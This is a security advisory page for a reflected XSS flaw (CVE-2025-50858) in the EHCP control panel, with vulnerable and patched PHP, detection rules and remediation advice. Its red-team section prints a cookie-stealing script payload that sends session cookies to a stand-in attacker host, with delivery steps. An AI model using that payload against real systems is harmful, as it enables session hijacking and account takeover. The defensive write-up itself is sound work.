CVE-2025-50858
Executive Summary
CVE-2025-50858 is a reflected Cross-Site Scripting (XSS) vulnerability in the Easy Hosting Control Panel (EHCP) version 20.04.1.b. The flaw exists in the "List MySQL Databases" function, where the action parameter is not properly sanitized. An authenticated attacker can inject arbitrary JavaScript code, which is then reflected back to the victim's browser. This can lead to session hijacking, credential theft, or further compromise of the control panel.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone web application vulnerability in the EHCP control panel.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official CVSS vector provided)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Authenticated user)
- User Interaction: Required (Victim must click a crafted link)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium (Authenticated XSS with potential for privilege escalation)
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS. The action parameter in the "List MySQL Databases" function is echoed back to the user without proper encoding or sanitization. An attacker can craft a URL like:
https://target.ehcp.com/list_mysql_databases.php?action=<script>alert('XSS')</script>
When an authenticated user clicks this link, the JavaScript executes in the context of the EHCP session. This allows the attacker to perform actions on behalf of the victim, such as creating new databases, modifying users, or exfiltrating session cookies.
Vulnerable vs. Patched Code
Vulnerable Code (EHCP 20.04.1.b):
<?php
$action = $_GET['action'];
echo "Action: " . $action;
?>
Patched Code (Hypothetical):
<?php
$action = htmlspecialchars($_GET['action'], ENT_QUOTES, 'UTF-8');
echo "Action: " . $action;
?>
The fix involves using htmlspecialchars() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team
- Setup: Deploy EHCP 20.04.1.b in a controlled lab environment.
- Craft Payload: Create a malicious URL:
http://target/list_mysql_databases.php?action=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Deliver: Send the link to an authenticated user via email or social engineering.
- Exfiltrate: Set up a listener on
attacker.comto capture cookies.
Blue Team
- Detection: Monitor for unusual
actionparameter values in web logs. - Prevention: Implement a Web Application Firewall (WAF) rule to block
<script>tags in theactionparameter. - Response: If an attack is detected, invalidate all active sessions and force password resets.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/list_mysql_databases.phpwithactionparameter containing<script>tags. - Logs: Web server logs showing
action=<script>patterns. - Endpoint: Browser console errors or unexpected JavaScript execution.
Detection Engineering
YARA Rule
rule CVE_2025_50858_XSS {
meta:
description = "Detects reflected XSS attempts against EHCP List MySQL Databases"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-50858"
strings:
$xss_payload = /action=.*<script[^>]*>.*<\/script>/i
condition:
$xss_payload
}
Sigma Rule
title: Reflected XSS in EHCP List MySQL Databases
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts against EHCP List MySQL Databases
author: Valters IT
date: 2025/01/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/list_mysql_databases.php?action='
cs-uri-query|re: 'action=.*<script[^>]*>.*<\/script>'
condition: selection
falsepositives:
- Legitimate use of script tags in action parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-50858 Reflected XSS in EHCP List MySQL Databases"; flow:to_server,established; content:"/list_mysql_databases.php"; http_uri; content:"action="; http_uri; pcre:"/action=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Apply input validation and output encoding to the
actionparameter. - Short-term: Upgrade to a patched version of EHCP if available.
- Long-term: Implement a Content Security Policy (CSP) to mitigate XSS.
- Workaround: Use a WAF to block malicious payloads.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.